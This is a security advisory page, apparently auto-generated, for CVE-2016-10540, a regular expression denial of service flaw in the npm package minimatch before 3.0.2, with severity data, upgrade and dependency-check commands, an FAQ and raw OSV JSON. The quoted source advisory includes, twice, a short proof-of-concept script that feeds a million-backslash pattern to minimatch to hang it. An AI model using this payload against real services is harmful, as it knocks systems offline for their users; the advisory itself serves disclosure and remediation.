CVE-2016-10540: Minimatch Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-hxm2-r34f-qmc5
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CVSS 7.5
CWE-400
Published
Advisory Summary

CVE-2016-10540 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Minimatch libraries in the npm ecosystem. The issue involves regular expression denial of service in minimatch. Remediation is available by upgrading affected packages to version 3.0.2.

CVE-2016-10540 at a Glance

CVE Identifier CVE-2016-10540
GHSA Identifier GHSA-hxm2-r34f-qmc5
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Minimatch
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2016-10540

To remediate this vulnerability, upgrade all affected Minimatch dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

minimatch fixed: 3.0.2 
npm install minimatch@3.0.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls minimatch

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2016-10540, inspect your project dependencies using npm:

npm ls minimatch

Analyze the terminal output to locate any version of Minimatch in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.2), your application is affected.

Note: The npm ls minimatch command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Minimatch, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`. ## Proof of Concept ```js var minimatch = require(“minimatch”); // utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; } var exploit = “[!” + genstr(1000000, “\\”) + “A”; // minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ``` ## Recommendation Update to version 3.0.2 or later.

CVE-2016-10540 Affected Minimatch Versions

1 component(s)
Fixed Versions:
3.0.2
Product / Package Ecosystem Affected Versions Fixed Version
minimatch
npm/minimatch
npm
< 3.0.2
3.0.2

References

NVD — CVE-2016-10540 NVD
https://nvd.nist.gov/vuln/detail/CVE-2016-10540
GitHub Advisory / Wiki ADVISORY
https://github.com/advisories/GHSA-hxm2-r34f-qmc5
www.npmjs.com/advisories/118 WEB
https://www.npmjs.com/advisories/118

Frequently Asked Questions

What is CVE-2016-10540?
CVE-2016-10540 is a security vulnerability in Minimatch involving Regular Expression Denial of Service in minimatch under CWE-400: Uncontrolled Resource Consumption.
Which Minimatch versions are affected?
Affected versions include releases prior to 3.0.2 across affected packages: minimatch.
What version fixes CVE-2016-10540?
Upgrading to 3.0.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is minimatch affected?
Yes, minimatch is affected in releases prior to 3.0.2. Upgrade your dependency to 3.0.2 or later.
What is the CVSS score of CVE-2016-10540?
CVE-2016-10540 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2016-10540?
CVE-2016-10540 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2016-10540?
Run the dependency tree command: 'npm ls minimatch'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hxm2-r34f-qmc5",
  "modified" : "2023-09-11T22:02:05Z",
  "published" : "2018-10-09T00:40:41Z",
  "aliases" : [ "CVE-2016-10540" ],
  "summary" : "Regular Expression Denial of Service in minimatch",
  "details" : "Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.\n\n\n## Proof of Concept\n```js\nvar minimatch = require(“minimatch”);\n\n// utility function for generating long strings\nvar genstr = function (len, chr) {\n  var result = “”;\n  for (i=0; i<=len; i++) {\n    result = result + chr;\n  }\n  return result;\n}\n\nvar exploit = “[!” + genstr(1000000, “\\\\”) + “A”;\n\n// minimatch exploit.\nconsole.log(“starting minimatch”);\nminimatch(“foo”, exploit);\nconsole.log(“finishing minimatch”);\n```\n\n\n## Recommendation\n\nUpdate to version 3.0.2 or later.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "minimatch"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.0.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2016-10540"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-hxm2-r34f-qmc5"
  }, {
    "type" : "WEB",
    "url" : "https://www.npmjs.com/advisories/118"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2020-06-16T21:41:28Z",
    "nvd_published_at" : null
  }
}